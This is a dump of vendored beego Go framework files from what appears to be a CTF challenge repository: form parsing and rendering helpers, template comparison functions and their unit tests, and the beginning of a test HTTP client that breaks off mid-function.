reflect.Interface:\n\t\t\tfieldV.Set(reflect.ValueOf(value))\n\t\tcase reflect.String:\n\t\t\tfieldV.SetString(value)\n\t\tcase reflect.Struct:\n\t\t\tswitch fieldT.Type.String() {\n\t\t\tcase \"time.Time\":\n\t\t\t\tvar (\n\t\t\t\t\tt   time.Time\n\t\t\t\t\terr error\n\t\t\t\t)\n\t\t\t\tif len(value) >= 25 {\n\t\t\t\t\tvalue = value[:25]\n\t\t\t\t\tt, err = time.ParseInLocation(time.RFC3339, value, time.Local)\n\t\t\t\t} else if len(value) >= 19 {\n\t\t\t\t\tif strings.Contains(value, \"T\") {\n\t\t\t\t\t\tvalue = value[:19]\n\t\t\t\t\t\tt, err = time.ParseInLocation(formatDateTimeT, value, time.Local)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = value[:19]\n\t\t\t\t\t\tt, err = time.ParseInLocation(formatDateTime, value, time.Local)\n\t\t\t\t\t}\n\t\t\t\t} else if len(value) >= 10 {\n\t\t\t\t\tif len(value) > 10 {\n\t\t\t\t\t\tvalue = value[:10]\n\t\t\t\t\t}\n\t\t\t\t\tt, err = time.ParseInLocation(formatDate, value, time.Local)\n\t\t\t\t} else if len(value) >= 8 {\n\t\t\t\t\tif len(value) > 8 {\n\t\t\t\t\t\tvalue = value[:8]\n\t\t\t\t\t}\n\t\t\t\t\tt, err = time.ParseInLocation(formatTime, value, time.Local)\n\t\t\t\t}\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfieldV.Set(reflect.ValueOf(t))\n\t\t\t}\n\t\tcase reflect.Slice:\n\t\t\tif fieldT.Type == sliceOfInts {\n\t\t\t\tformVals := form[tag]\n\t\t\t\tfieldV.Set(reflect.MakeSlice(reflect.SliceOf(reflect.TypeOf(int(1))), len(formVals), len(formVals)))\n\t\t\t\tfor i := 0; i < len(formVals); i++ {\n\t\t\t\t\tval, err := strconv.Atoi(formVals[i])\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\tfieldV.Index(i).SetInt(int64(val))\n\t\t\t\t}\n\t\t\t} else if fieldT.Type == sliceOfStrings {\n\t\t\t\tformVals := form[tag]\n\t\t\t\tfieldV.Set(reflect.MakeSlice(reflect.SliceOf(reflect.TypeOf(\"\")), len(formVals), len(formVals)))\n\t\t\t\tfor i := 0; i < len(formVals); i++ {\n\t\t\t\t\tfieldV.Index(i).SetString(formVals[i])\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\n// ParseForm will parse form values to struct via tag.\nfunc ParseForm(form url.Values, obj interface{}) error {\n\tobjT := reflect.TypeOf(obj)\n\tobjV := reflect.ValueOf(obj)\n\tif !isStructPtr(objT) {\n\t\treturn fmt.Errorf(\"%v must be  a struct pointer\", obj)\n\t}\n\tobjT = objT.Elem()\n\tobjV = objV.Elem()\n\n\treturn parseFormToStruct(form, objT, objV)\n}\n\nvar sliceOfInts = reflect.TypeOf([]int(nil))\nvar sliceOfStrings = reflect.TypeOf([]string(nil))\n\nvar unKind = map[reflect.Kind]bool{\n\treflect.Uintptr:       true,\n\treflect.Complex64:     true,\n\treflect.Complex128:    true,\n\treflect.Array:         true,\n\treflect.Chan:          true,\n\treflect.Func:          true,\n\treflect.Map:           true,\n\treflect.Ptr:           true,\n\treflect.Slice:         true,\n\treflect.Struct:        true,\n\treflect.UnsafePointer: true,\n}\n\n// RenderForm will render object to form html.\n// obj must be a struct pointer.\nfunc RenderForm(obj interface{}) template.HTML {\n\tobjT := reflect.TypeOf(obj)\n\tobjV := reflect.ValueOf(obj)\n\tif !isStructPtr(objT) {\n\t\treturn template.HTML(\"\")\n\t}\n\tobjT = objT.Elem()\n\tobjV = objV.Elem()\n\n\tvar raw []string\n\tfor i := 0; i < objT.NumField(); i++ {\n\t\tfieldV := objV.Field(i)\n\t\tif !fieldV.CanSet() || unKind[fieldV.Kind()] {\n\t\t\tcontinue\n\t\t}\n\n\t\tfieldT := objT.Field(i)\n\n\t\tlabel, name, fType, id, class, ignored, required := parseFormTag(fieldT)\n\t\tif ignored {\n\t\t\tcontinue\n\t\t}\n\n\t\traw = append(raw, renderFormField(label, name, fType, fieldV.Interface(), id, class, required))\n\t}\n\treturn template.HTML(strings.Join(raw, \"</br>\"))\n}\n\n// renderFormField returns a string containing HTML of a single form field.\nfunc renderFormField(label, name, fType string, value interface{}, id string, class string, required bool) string {\n\tif id != \"\" {\n\t\tid = \" id=\\\"\" + id + \"\\\"\"\n\t}\n\n\tif class != \"\" {\n\t\tclass = \" class=\\\"\" + class + \"\\\"\"\n\t}\n\n\trequiredString := \"\"\n\tif required {\n\t\trequiredString = \" required\"\n\t}\n\n\tif isValidForInput(fType) {\n\t\treturn fmt.Sprintf(`%v<input%v%v name=\"%v\" type=\"%v\" value=\"%v\"%v>`, label, id, class, name, fType, value, requiredString)\n\t}\n\n\treturn fmt.Sprintf(`%v<%v%v%v name=\"%v\"%v>%v</%v>`, label, fType, id, class, name, requiredString, value, fType)\n}\n\n// isValidForInput checks if fType is a valid value for the `type` property of an HTML input element.\nfunc isValidForInput(fType string) bool {\n\tvalidInputTypes := strings.Fields(\"text password checkbox radio submit reset hidden image file button search email url tel number range date month week time datetime datetime-local color\")\n\tfor _, validType := range validInputTypes {\n\t\tif fType == validType {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// parseFormTag takes the stuct-tag of a StructField and parses the `form` value.\n// returned are the form label, name-property, type and wether the field should be ignored.\nfunc parseFormTag(fieldT reflect.StructField) (label, name, fType string, id string, class string, ignored bool, required bool) {\n\ttags := strings.Split(fieldT.Tag.Get(\"form\"), \",\")\n\tlabel = fieldT.Name + \": \"\n\tname = fieldT.Name\n\tfType = \"text\"\n\tignored = false\n\tid = fieldT.Tag.Get(\"id\")\n\tclass = fieldT.Tag.Get(\"class\")\n\n\trequired = false\n\trequiredField := fieldT.Tag.Get(\"required\")\n\tif requiredField != \"-\" && requiredField != \"\" {\n\t\trequired, _ = strconv.ParseBool(requiredField)\n\t}\n\n\tswitch len(tags) {\n\tcase 1:\n\t\tif tags[0] == \"-\" {\n\t\t\tignored = true\n\t\t}\n\t\tif len(tags[0]) > 0 {\n\t\t\tname = tags[0]\n\t\t}\n\tcase 2:\n\t\tif len(tags[0]) > 0 {\n\t\t\tname = tags[0]\n\t\t}\n\t\tif len(tags[1]) > 0 {\n\t\t\tfType = tags[1]\n\t\t}\n\tcase 3:\n\t\tif len(tags[0]) > 0 {\n\t\t\tname = tags[0]\n\t\t}\n\t\tif len(tags[1]) > 0 {\n\t\t\tfType = tags[1]\n\t\t}\n\t\tif len(tags[2]) > 0 {\n\t\t\tlabel = tags[2]\n\t\t}\n\t}\n\n\treturn\n}\n\nfunc isStructPtr(t reflect.Type) bool {\n\treturn t.Kind() == reflect.Ptr && t.Elem().Kind() == reflect.Struct\n}\n\n// go1.2 added template funcs. begin\nvar (\n\terrBadComparisonType = errors.New(\"invalid type for comparison\")\n\terrBadComparison     = errors.New(\"incompatible types for comparison\")\n\terrNoComparison      = errors.New(\"missing argument for comparison\")\n)\n\ntype kind int\n\nconst (\n\tinvalidKind kind = iota\n\tboolKind\n\tcomplexKind\n\tintKind\n\tfloatKind\n\tstringKind\n\tuintKind\n)\n\nfunc basicKind(v reflect.Value) (kind, error) {\n\tswitch v.Kind() {\n\tcase reflect.Bool:\n\t\treturn boolKind, nil\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\treturn intKind, nil\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\treturn uintKind, nil\n\tcase reflect.Float32, reflect.Float64:\n\t\treturn floatKind, nil\n\tcase reflect.Complex64, reflect.Complex128:\n\t\treturn complexKind, nil\n\tcase reflect.String:\n\t\treturn stringKind, nil\n\t}\n\treturn invalidKind, errBadComparisonType\n}\n\n// eq evaluates the comparison a == b || a == c || ...\nfunc eq(arg1 interface{}, arg2 ...interface{}) (bool, error) {\n\tv1 := reflect.ValueOf(arg1)\n\tk1, err := basicKind(v1)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif len(arg2) == 0 {\n\t\treturn false, errNoComparison\n\t}\n\tfor _, arg := range arg2 {\n\t\tv2 := reflect.ValueOf(arg)\n\t\tk2, err := basicKind(v2)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t\tif k1 != k2 {\n\t\t\treturn false, errBadComparison\n\t\t}\n\t\ttruth := false\n\t\tswitch k1 {\n\t\tcase boolKind:\n\t\t\ttruth = v1.Bool() == v2.Bool()\n\t\tcase complexKind:\n\t\t\ttruth = v1.Complex() == v2.Complex()\n\t\tcase floatKind:\n\t\t\ttruth = v1.Float() == v2.Float()\n\t\tcase intKind:\n\t\t\ttruth = v1.Int() == v2.Int()\n\t\tcase stringKind:\n\t\t\ttruth = v1.String() == v2.String()\n\t\tcase uintKind:\n\t\t\ttruth = v1.Uint() == v2.Uint()\n\t\tdefault:\n\t\t\tpanic(\"invalid kind\")\n\t\t}\n\t\tif truth {\n\t\t\treturn true, nil\n\t\t}\n\t}\n\treturn false, nil\n}\n\n// ne evaluates the comparison a != b.\nfunc ne(arg1, arg2 interface{}) (bool, error) {\n\t// != is the inverse of ==.\n\tequal, err := eq(arg1, arg2)\n\treturn !equal, err\n}\n\n// lt evaluates the comparison a < b.\nfunc lt(arg1, arg2 interface{}) (bool, error) {\n\tv1 := reflect.ValueOf(arg1)\n\tk1, err := basicKind(v1)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tv2 := reflect.ValueOf(arg2)\n\tk2, err := basicKind(v2)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif k1 != k2 {\n\t\treturn false, errBadComparison\n\t}\n\ttruth := false\n\tswitch k1 {\n\tcase boolKind, complexKind:\n\t\treturn false, errBadComparisonType\n\tcase floatKind:\n\t\ttruth = v1.Float() < v2.Float()\n\tcase intKind:\n\t\ttruth = v1.Int() < v2.Int()\n\tcase stringKind:\n\t\ttruth = v1.String() < v2.String()\n\tcase uintKind:\n\t\ttruth = v1.Uint() < v2.Uint()\n\tdefault:\n\t\tpanic(\"invalid kind\")\n\t}\n\treturn truth, nil\n}\n\n// le evaluates the comparison <= b.\nfunc le(arg1, arg2 interface{}) (bool, error) {\n\t// <= is < or ==.\n\tlessThan, err := lt(arg1, arg2)\n\tif lessThan || err != nil {\n\t\treturn lessThan, err\n\t}\n\treturn eq(arg1, arg2)\n}\n\n// gt evaluates the comparison a > b.\nfunc gt(arg1, arg2 interface{}) (bool, error) {\n\t// > is the inverse of <=.\n\tlessOrEqual, err := le(arg1, arg2)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn !lessOrEqual, nil\n}\n\n// ge evaluates the comparison a >= b.\nfunc ge(arg1, arg2 interface{}) (bool, error) {\n\t// >= is the inverse of <.\n\tlessThan, err := lt(arg1, arg2)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn !lessThan, nil\n}\n\n// MapGet getting value from map by keys\n// usage:\n// Data[\"m\"] = map[string]interface{} {\n//     \"a\": 1,\n//     \"1\": map[string]float64{\n//         \"c\": 4,\n//     },\n// }\n//\n// {{ map_get m \"a\" }} // return 1\n// {{ map_get m 1 \"c\" }} // return 4\nfunc MapGet(arg1 interface{}, arg2 ...interface{}) (interface{}, error) {\n\targ1Type := reflect.TypeOf(arg1)\n\targ1Val := reflect.ValueOf(arg1)\n\n\tif arg1Type.Kind() == reflect.Map && len(arg2) > 0 {\n\t\t// check whether arg2[0] type equals to arg1 key type\n\t\t// if they are different, make conversion\n\t\targ2Val := reflect.ValueOf(arg2[0])\n\t\targ2Type := reflect.TypeOf(arg2[0])\n\t\tif arg2Type.Kind() != arg1Type.Key().Kind() {\n\t\t\t// convert arg2Value to string\n\t\t\tvar arg2ConvertedVal interface{}\n\t\t\targ2String := fmt.Sprintf(\"%v\", arg2[0])\n\n\t\t\t// convert string representation to any other type\n\t\t\tswitch arg1Type.Key().Kind() {\n\t\t\tcase reflect.Bool:\n\t\t\t\targ2ConvertedVal, _ = strconv.ParseBool(arg2String)\n\t\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\t\targ2ConvertedVal, _ = strconv.ParseInt(arg2String, 0, 64)\n\t\t\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\t\t\targ2ConvertedVal, _ = strconv.ParseUint(arg2String, 0, 64)\n\t\t\tcase reflect.Float32, reflect.Float64:\n\t\t\t\targ2ConvertedVal, _ = strconv.ParseFloat(arg2String, 64)\n\t\t\tcase reflect.String:\n\t\t\t\targ2ConvertedVal = arg2String\n\t\t\tdefault:\n\t\t\t\targ2ConvertedVal = arg2Val.Interface()\n\t\t\t}\n\t\t\targ2Val = reflect.ValueOf(arg2ConvertedVal)\n\t\t}\n\n\t\tstoredVal := arg1Val.MapIndex(arg2Val)\n\n\t\tif storedVal.IsValid() {\n\t\t\tvar result interface{}\n\n\t\t\tswitch arg1Type.Elem().Kind() {\n\t\t\tcase reflect.Bool:\n\t\t\t\tresult = storedVal.Bool()\n\t\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\t\tresult = storedVal.Int()\n\t\t\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\t\t\tresult = storedVal.Uint()\n\t\t\tcase reflect.Float32, reflect.Float64:\n\t\t\t\tresult = storedVal.Float()\n\t\t\tcase reflect.String:\n\t\t\t\tresult = storedVal.String()\n\t\t\tdefault:\n\t\t\t\tresult = storedVal.Interface()\n\t\t\t}\n\n\t\t\t// if there is more keys, handle this recursively\n\t\t\tif len(arg2) > 1 {\n\t\t\t\treturn MapGet(result, arg2[1:]...)\n\t\t\t}\n\t\t\treturn result, nil\n\t\t}\n\t\treturn nil, nil\n\n\t}\n\treturn nil, nil\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/templatefunc_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"html/template\"\n\t\"net/url\"\n\t\"reflect\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestSubstr(t *testing.T) {\n\ts := `012345`\n\tif Substr(s, 0, 2) != \"01\" {\n\t\tt.Error(\"should be equal\")\n\t}\n\tif Substr(s, 0, 100) != \"012345\" {\n\t\tt.Error(\"should be equal\")\n\t}\n\tif Substr(s, 12, 100) != \"012345\" {\n\t\tt.Error(\"should be equal\")\n\t}\n}\n\nfunc TestHtml2str(t *testing.T) {\n\th := `<HTML><style></style><script>x<x</script></HTML><123>  123\\n\n\n\n\t\\n`\n\tif HTML2str(h) != \"123\\\\n\\n\\\\n\" {\n\t\tt.Error(\"should be equal\")\n\t}\n}\n\nfunc TestDateFormat(t *testing.T) {\n\tts := \"Mon, 01 Jul 2013 13:27:42 CST\"\n\ttt, _ := time.Parse(time.RFC1123, ts)\n\n\tif ss := DateFormat(tt, \"2006-01-02 15:04:05\"); ss != \"2013-07-01 13:27:42\" {\n\t\tt.Errorf(\"2013-07-01 13:27:42 does not equal %v\", ss)\n\t}\n}\n\nfunc TestDate(t *testing.T) {\n\tts := \"Mon, 01 Jul 2013 13:27:42 CST\"\n\ttt, _ := time.Parse(time.RFC1123, ts)\n\n\tif ss := Date(tt, \"Y-m-d H:i:s\"); ss != \"2013-07-01 13:27:42\" {\n\t\tt.Errorf(\"2013-07-01 13:27:42 does not equal %v\", ss)\n\t}\n\tif ss := Date(tt, \"y-n-j h:i:s A\"); ss != \"13-7-1 01:27:42 PM\" {\n\t\tt.Errorf(\"13-7-1 01:27:42 PM does not equal %v\", ss)\n\t}\n\tif ss := Date(tt, \"D, d M Y g:i:s a\"); ss != \"Mon, 01 Jul 2013 1:27:42 pm\" {\n\t\tt.Errorf(\"Mon, 01 Jul 2013 1:27:42 pm does not equal %v\", ss)\n\t}\n\tif ss := Date(tt, \"l, d F Y G:i:s\"); ss != \"Monday, 01 July 2013 13:27:42\" {\n\t\tt.Errorf(\"Monday, 01 July 2013 13:27:42 does not equal %v\", ss)\n\t}\n}\n\nfunc TestCompareRelated(t *testing.T) {\n\tif !Compare(\"abc\", \"abc\") {\n\t\tt.Error(\"should be equal\")\n\t}\n\tif Compare(\"abc\", \"aBc\") {\n\t\tt.Error(\"should be not equal\")\n\t}\n\tif !Compare(\"1\", 1) {\n\t\tt.Error(\"should be equal\")\n\t}\n\tif CompareNot(\"abc\", \"abc\") {\n\t\tt.Error(\"should be equal\")\n\t}\n\tif !CompareNot(\"abc\", \"aBc\") {\n\t\tt.Error(\"should be not equal\")\n\t}\n\tif !NotNil(\"a string\") {\n\t\tt.Error(\"should not be nil\")\n\t}\n}\n\nfunc TestHtmlquote(t *testing.T) {\n\th := `&lt;&#39;&nbsp;&rdquo;&ldquo;&amp;&quot;&gt;`\n\ts := `<' ”“&\">`\n\tif Htmlquote(s) != h {\n\t\tt.Error(\"should be equal\")\n\t}\n}\n\nfunc TestHtmlunquote(t *testing.T) {\n\th := `&lt;&#39;&nbsp;&rdquo;&ldquo;&amp;&quot;&gt;`\n\ts := `<' ”“&\">`\n\tif Htmlunquote(h) != s {\n\t\tt.Error(\"should be equal\")\n\t}\n}\n\nfunc TestParseForm(t *testing.T) {\n\ttype ExtendInfo struct {\n\t\tHobby string `form:\"hobby\"`\n\t\tMemo  string\n\t}\n\n\ttype OtherInfo struct {\n\t\tOrganization string `form:\"organization\"`\n\t\tTitle        string `form:\"title\"`\n\t\tExtendInfo\n\t}\n\n\ttype user struct {\n\t\tID      int         `form:\"-\"`\n\t\ttag     string      `form:\"tag\"`\n\t\tName    interface{} `form:\"username\"`\n\t\tAge     int         `form:\"age,text\"`\n\t\tEmail   string\n\t\tIntro   string    `form:\",textarea\"`\n\t\tStrBool bool      `form:\"strbool\"`\n\t\tDate    time.Time `form:\"date,2006-01-02\"`\n\t\tOtherInfo\n\t}\n\n\tu := user{}\n\tform := url.Values{\n\t\t\"ID\":           []string{\"1\"},\n\t\t\"-\":            []string{\"1\"},\n\t\t\"tag\":          []string{\"no\"},\n\t\t\"username\":     []string{\"test\"},\n\t\t\"age\":          []string{\"40\"},\n\t\t\"Email\":        []string{\"test@gmail.com\"},\n\t\t\"Intro\":        []string{\"I am an engineer!\"},\n\t\t\"strbool\":      []string{\"yes\"},\n\t\t\"date\":         []string{\"2014-11-12\"},\n\t\t\"organization\": []string{\"beego\"},\n\t\t\"title\":        []string{\"CXO\"},\n\t\t\"hobby\":        []string{\"Basketball\"},\n\t\t\"memo\":         []string{\"nothing\"},\n\t}\n\tif err := ParseForm(form, u); err == nil {\n\t\tt.Fatal(\"nothing will be changed\")\n\t}\n\tif err := ParseForm(form, &u); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif u.ID != 0 {\n\t\tt.Errorf(\"ID should equal 0 but got %v\", u.ID)\n\t}\n\tif len(u.tag) != 0 {\n\t\tt.Errorf(\"tag's length should equal 0 but got %v\", len(u.tag))\n\t}\n\tif u.Name.(string) != \"test\" {\n\t\tt.Errorf(\"Name should equal `test` but got `%v`\", u.Name.(string))\n\t}\n\tif u.Age != 40 {\n\t\tt.Errorf(\"Age should equal 40 but got %v\", u.Age)\n\t}\n\tif u.Email != \"test@gmail.com\" {\n\t\tt.Errorf(\"Email should equal `test@gmail.com` but got `%v`\", u.Email)\n\t}\n\tif u.Intro != \"I am an engineer!\" {\n\t\tt.Errorf(\"Intro should equal `I am an engineer!` but got `%v`\", u.Intro)\n\t}\n\tif !u.StrBool {\n\t\tt.Errorf(\"strboll should equal `true`, but got `%v`\", u.StrBool)\n\t}\n\ty, m, d := u.Date.Date()\n\tif y != 2014 || m.String() != \"November\" || d != 12 {\n\t\tt.Errorf(\"Date should equal `2014-11-12`, but got `%v`\", u.Date.String())\n\t}\n\tif u.Organization != \"beego\" {\n\t\tt.Errorf(\"Organization should equal `beego`, but got `%v`\", u.Organization)\n\t}\n\tif u.Title != \"CXO\" {\n\t\tt.Errorf(\"Title should equal `CXO`, but got `%v`\", u.Title)\n\t}\n\tif u.Hobby != \"Basketball\" {\n\t\tt.Errorf(\"Hobby should equal `Basketball`, but got `%v`\", u.Hobby)\n\t}\n\tif len(u.Memo) != 0 {\n\t\tt.Errorf(\"Memo's length should equal 0 but got %v\", len(u.Memo))\n\t}\n}\n\nfunc TestRenderForm(t *testing.T) {\n\ttype user struct {\n\t\tID      int         `form:\"-\"`\n\t\ttag     string      `form:\"tag\"`\n\t\tName    interface{} `form:\"username\"`\n\t\tAge     int         `form:\"age,text,年龄：\"`\n\t\tSex     string\n\t\tEmail   []string\n\t\tIntro   string `form:\",textarea\"`\n\t\tIgnored string `form:\"-\"`\n\t}\n\n\tu := user{Name: \"test\", Intro: \"Some Text\"}\n\toutput := RenderForm(u)\n\tif output != template.HTML(\"\") {\n\t\tt.Errorf(\"output should be empty but got %v\", output)\n\t}\n\toutput = RenderForm(&u)\n\tresult := template.HTML(\n\t\t`Name: <input name=\"username\" type=\"text\" value=\"test\"></br>` +\n\t\t\t`年龄：<input name=\"age\" type=\"text\" value=\"0\"></br>` +\n\t\t\t`Sex: <input name=\"Sex\" type=\"text\" value=\"\"></br>` +\n\t\t\t`Intro: <textarea name=\"Intro\">Some Text</textarea>`)\n\tif output != result {\n\t\tt.Errorf(\"output should equal `%v` but got `%v`\", result, output)\n\t}\n}\n\nfunc TestRenderFormField(t *testing.T) {\n\thtml := renderFormField(\"Label: \", \"Name\", \"text\", \"Value\", \"\", \"\", false)\n\tif html != `Label: <input name=\"Name\" type=\"text\" value=\"Value\">` {\n\t\tt.Errorf(\"Wrong html output for input[type=text]: %v \", html)\n\t}\n\n\thtml = renderFormField(\"Label: \", \"Name\", \"textarea\", \"Value\", \"\", \"\", false)\n\tif html != `Label: <textarea name=\"Name\">Value</textarea>` {\n\t\tt.Errorf(\"Wrong html output for textarea: %v \", html)\n\t}\n\n\thtml = renderFormField(\"Label: \", \"Name\", \"textarea\", \"Value\", \"\", \"\", true)\n\tif html != `Label: <textarea name=\"Name\" required>Value</textarea>` {\n\t\tt.Errorf(\"Wrong html output for textarea: %v \", html)\n\t}\n}\n\nfunc TestParseFormTag(t *testing.T) {\n\t// create struct to contain field with different types of struct-tag `form`\n\ttype user struct {\n\t\tAll            int `form:\"name,text,年龄：\"`\n\t\tNoName         int `form:\",hidden,年龄：\"`\n\t\tOnlyLabel      int `form:\",,年龄：\"`\n\t\tOnlyName       int `form:\"name\" id:\"name\" class:\"form-name\"`\n\t\tIgnored        int `form:\"-\"`\n\t\tRequired       int `form:\"name\" required:\"true\"`\n\t\tIgnoreRequired int `form:\"name\"`\n\t\tNotRequired    int `form:\"name\" required:\"false\"`\n\t}\n\n\tobjT := reflect.TypeOf(&user{}).Elem()\n\n\tlabel, name, fType, _, _, ignored, _ := parseFormTag(objT.Field(0))\n\tif !(name == \"name\" && label == \"年龄：\" && fType == \"text\" && !ignored) {\n\t\tt.Errorf(\"Form Tag with name, label and type was not correctly parsed.\")\n\t}\n\n\tlabel, name, fType, _, _, ignored, _ = parseFormTag(objT.Field(1))\n\tif !(name == \"NoName\" && label == \"年龄：\" && fType == \"hidden\" && !ignored) {\n\t\tt.Errorf(\"Form Tag with label and type but without name was not correctly parsed.\")\n\t}\n\n\tlabel, name, fType, _, _, ignored, _ = parseFormTag(objT.Field(2))\n\tif !(name == \"OnlyLabel\" && label == \"年龄：\" && fType == \"text\" && !ignored) {\n\t\tt.Errorf(\"Form Tag containing only label was not correctly parsed.\")\n\t}\n\n\tlabel, name, fType, id, class, ignored, _ := parseFormTag(objT.Field(3))\n\tif !(name == \"name\" && label == \"OnlyName: \" && fType == \"text\" && !ignored &&\n\t\tid == \"name\" && class == \"form-name\") {\n\t\tt.Errorf(\"Form Tag containing only name was not correctly parsed.\")\n\t}\n\n\t_, _, _, _, _, ignored, _ = parseFormTag(objT.Field(4))\n\tif !ignored {\n\t\tt.Errorf(\"Form Tag that should be ignored was not correctly parsed.\")\n\t}\n\n\t_, name, _, _, _, _, required := parseFormTag(objT.Field(5))\n\tif !(name == \"name\" && required) {\n\t\tt.Errorf(\"Form Tag containing only name and required was not correctly parsed.\")\n\t}\n\n\t_, name, _, _, _, _, required = parseFormTag(objT.Field(6))\n\tif !(name == \"name\" && !required) {\n\t\tt.Errorf(\"Form Tag containing only name and ignore required was not correctly parsed.\")\n\t}\n\n\t_, name, _, _, _, _, required = parseFormTag(objT.Field(7))\n\tif !(name == \"name\" && !required) {\n\t\tt.Errorf(\"Form Tag containing only name and not required was not correctly parsed.\")\n\t}\n\n}\n\nfunc TestMapGet(t *testing.T) {\n\t// test one level map\n\tm1 := map[string]int64{\n\t\t\"a\": 1,\n\t\t\"1\": 2,\n\t}\n\n\tif res, err := MapGet(m1, \"a\"); err == nil {\n\t\tif res.(int64) != 1 {\n\t\t\tt.Errorf(\"Should return 1, but return %v\", res)\n\t\t}\n\t} else {\n\t\tt.Errorf(\"Error happens %v\", err)\n\t}\n\n\tif res, err := MapGet(m1, \"1\"); err == nil {\n\t\tif res.(int64) != 2 {\n\t\t\tt.Errorf(\"Should return 2, but return %v\", res)\n\t\t}\n\t} else {\n\t\tt.Errorf(\"Error happens %v\", err)\n\t}\n\n\tif res, err := MapGet(m1, 1); err == nil {\n\t\tif res.(int64) != 2 {\n\t\t\tt.Errorf(\"Should return 2, but return %v\", res)\n\t\t}\n\t} else {\n\t\tt.Errorf(\"Error happens %v\", err)\n\t}\n\n\t// test 2 level map\n\tm2 := map[string]interface{}{\n\t\t\"1\": map[string]float64{\n\t\t\t\"2\": 3.5,\n\t\t},\n\t}\n\n\tif res, err := MapGet(m2, 1, 2); err == nil {\n\t\tif res.(float64) != 3.5 {\n\t\t\tt.Errorf(\"Should return 3.5, but return %v\", res)\n\t\t}\n\t} else {\n\t\tt.Errorf(\"Error happens %v\", err)\n\t}\n\n\t// test 5 level map\n\tm5 := map[string]interface{}{\n\t\t\"1\": map[string]interface{}{\n\t\t\t\"2\": map[string]interface{}{\n\t\t\t\t\"3\": map[string]interface{}{\n\t\t\t\t\t\"4\": map[string]interface{}{\n\t\t\t\t\t\t\"5\": 1.2,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tif res, err := MapGet(m5, 1, 2, 3, 4, 5); err == nil {\n\t\tif res.(float64) != 1.2 {\n\t\t\tt.Errorf(\"Should return 1.2, but return %v\", res)\n\t\t}\n\t} else {\n\t\tt.Errorf(\"Error happens %v\", err)\n\t}\n\n\t// check whether element not exists in map\n\tif res, err := MapGet(m5, 5, 4, 3, 2, 1); err == nil {\n\t\tif res != nil {\n\t\t\tt.Errorf(\"Should return nil, but return %v\", res)\n\t\t}\n\t} else {\n\t\tt.Errorf(\"Error happens %v\", err)\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/testing/assertions.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage testing\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/testing/client.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage testing\n\nimport (\n\t\"github.com/astaxie/beego/config\"\n\t\"github.com/astaxie/beego/httplib\"\n)\n\nvar port = \"\"\nvar baseURL = \"http://localhost:\"\n\n// TestHTTPRequest beego test request client\ntype TestHTTPRequest struct {\n\thttplib.BeegoHTTPRequest\n}\n\nfunc getPort() string {\n\tif port == \"\" {\n\t\tconfig, err := config.NewConfig(\"ini\", \"../conf/app.conf\")\n\t\tif err != nil {\n\t\t\treturn \"8080\"\n\t\t}\n\t\tport = config.String(\"httpport\")\n\t\treturn port\n\t}\n\treturn port\n}\n\n// Get returns test client in GET method\nfunc Get(path string) *TestHTTPRequest {\n\treturn &TestHTTPRequest{*httplib.Get(baseURL + getPort() + path)}\n}\n\n// Post returns test client in POST method\nfunc Post(path string) *TestHTTPRequest {\n\treturn &TestHTTPRequest{*httplib.Post(baseURL + getPort() + path)}\n}\n\n// Put returns test client in PUT method\nfunc Put(path string) *TestHTTPRequest {\n\treturn 